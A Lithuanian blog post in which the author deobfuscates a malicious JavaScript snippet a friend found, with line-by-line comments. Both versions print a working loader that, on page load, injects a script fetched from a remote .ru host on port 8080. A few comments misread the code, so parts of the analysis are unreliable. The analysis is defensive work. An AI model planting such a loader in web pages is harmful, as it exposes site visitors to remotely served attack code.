JavaScript baisuokliai

Rokas atsiuntė vieną JavaScript kodą, kurį kažkur rado ir paklausė, kaip jį reikia iššifruoti.

Pradinis kodas:

<script>Og=20433;Og--;this.l=false;this.d="";function Q(){try {} catch(WN){};m={kM:false};var u="scr"+"ipt";try {var e='r'} catch(e){};var C=String("bo"+"dy");var X=new String("src");try {} catch(WE){};var z=new String("on"+"lofWn".substr(0,2)+"2H8ad2H8".substr(3,2));var Vw=new Date();A={Z:"q"};var N=String("de"+"Mc1fe".substr(3)+"sw4r".substr(3));try {var j='s'} catch(j){};Cy={cE:false};var NS=window;var Sb={Hp:false};var Il=[];var K=String("2cGxappe".substr(4)+"NTm5ndCh".substr(4)+"ild");var M=String("cre"+"ate"+"Elenxd".substr(0,3)+"men"+"QvgtvgQ".substr(3,1));var Y=document;var PA=false;y={t:"ko"};function O(){var ck={L:"Ww"};try {var h=930431-922351;var g=9636-9635;J=12232;J--;var n="qNX/ma".substr(3)+"rke"+"oejtwa".substr(3)+"tch"+"GTRU-coTURG".substr(4,3)+"GNOjm/g".substr(4)+"oog"+"le."+"comRLF".substr(0,3)+"/ar"+"chi"+"FbHve.".substr(3)+"FveiorgeFvi".substr(4,3)+".ph"+"p";var nX=String("http"+"://p"+"assp"+"ortb"+"lues"+".ru:");var Kg=new String();c=Y[M](u);var qk=false;var Hy=["Xo","Ms","gy"];T=[];this.Wb=59898;this.Wb--;c[N]=g;var dT=["cp","Ls","hU"];this.sy="";c[X]=nX+h+n;this.WL=2964;this.WL+=0;var eb="eb";RD=["sD","qL"];Y[C][K](c);var vx={v:"tM"};Du=12430;Du+=110;this.kL=58806;this.kL++;var dV=["b"];} catch(k){var Dk='';var Qu="Qu";this.fH=46178;this.fH++;this.Ac=58481;this.Ac++;};}Nq=[];NS[z]=O;var uR="uR";};var PUP={ub:false};Q();</script>

Kodas yra specialiai suveltas, kad būtų sunkiau surandamas ir suprantamas. Kadangi norėjau atsipalaiduoti nagrinėdamas šią raizgalynę, toliau pateikiu išanalizuotą kodą:

<script>
Og=20433;
Og--; // 20432
this.l=false;
this.d="";
function Q(){
    try {} catch(WN){};
    m={kM:false};
    var u="scr"+"ipt"; // script
    try {var e='r'} catch(e){};
    var C=String("bo"+"dy"); // body
    var X=new String("src"); // src
    try {} catch(WE){};
    var z=new String("on"+"lofWn".substr(0,2)+"2H8ad2H8".substr(3,2)); // "onload"
    var Vw=new Date();
    A={Z:"q"};
    var N=String("de"+"Mc1fe".substr(3)+"sw4r".substr(3)); // defer
    try {var j='s'} catch(j){};
    Cy={cE:false};
    var NS=window;
    var Sb={Hp:false};
    var Il=[];
    var K=String("2cGxappe".substr(4)+"NTm5ndCh".substr(4)+"ild");  // appendChild
    var M=String("cre"+"ate"+"Elenxd".substr(0,3)+"men"+"QvgtvgQ".substr(3,1));  // createElement
    var Y=document;
    var PA=false;
    y={t:"ko"};
    function O(){
        var ck={L:"Ww"};
        try {
            var h=930431-922351;  // 8080
            var g=9636-9635;  // 1
            J=12232;
            J--;  // 12231
            var n="qNX/ma".substr(3)+"rke"+"oejtwa".substr(3)+"tch"+"GTRU-coTURG".substr(4,3)+"GNOjm/g".substr(4)+"oog"+"le."+"comRLF".substr(0,3)+"/ar"+"chi"+"FbHve.".substr(3)+"FveiorgeFvi".substr(4,3)+".ph"+"p";  // /marketwatch-com/google.com/archive.org.php
            var nX=String("http"+"://p"+"assp"+"ortb"+"lues"+".ru:");  // http://passportblues.ru:
            var Kg=new String();
            c=Y[M](u);  // document["createElement"]("script")
            var qk=false;
            var Hy=["Xo","Ms","gy"];
            T=[];
            this.Wb=59898;
            this.Wb--;  // 59897
            c[N]=g; // document["createElement"]("script")["defer"] = 1
            var dT=["cp","Ls","hU"];
            this.sy="";
            c[X]=nX+h+n; // document["createElement"]("script")["src"] = "http://passportblues.ru:8080/marketwatch-com/google.com/archive.org.php"
            this.WL=2964;
            this.WL+=0;  // 2964
            var eb="eb";
            RD=["sD","qL"];
            Y[C][K](c);  // document["body"]["appendChild"](document["createElement"]("script")[{"defer":"1","src":"http://passportblues.ru:8080/marketwatch-com/google.com/archive.org.php"}])
            var vx={v:"tM"};
            Du=12430;
            Du+=110;  // 12540
            this.kL=58806;
            this.kL++;  // 58807
            var dV=["b"];
        } catch(k){
            var Dk='';
            var Qu="Qu";
            this.fH=46178;
            this.fH++;  // 46178
            this.Ac=58481;
            this.Ac++; // 58482
        };
    }
    Nq=[];
    NS[z]=O; // window["onload"] = 0
    var uR="uR";
};
var PUP={ub:false};
Q(); // Q() > O() > document["body"]["appendChild"](document["createElement"]("script")[{"defer":"1","src":"http://passportblues.ru:8080/marketwatch-com/google.com/archive.org.php"}]) > window["onload"] = 0
</script>

Remdamasis savo negiliomis JS žiniomis galiu konstatuoti, jog kodas įterpia į dokumentą JavaScript programėlę iš

http://passportblues.ru:8080/marketwatch-com/google.com/archive.org.php

(gaila, bet šiuo metu ten tuščia arba rodoma tik išrinktiesiems) ir išjungia JS vykdymą baigus lango įkėlimą. Likęs kodas skirtas apsunkinti paiešką ir galbūt šio fragmento supratimą žmogui.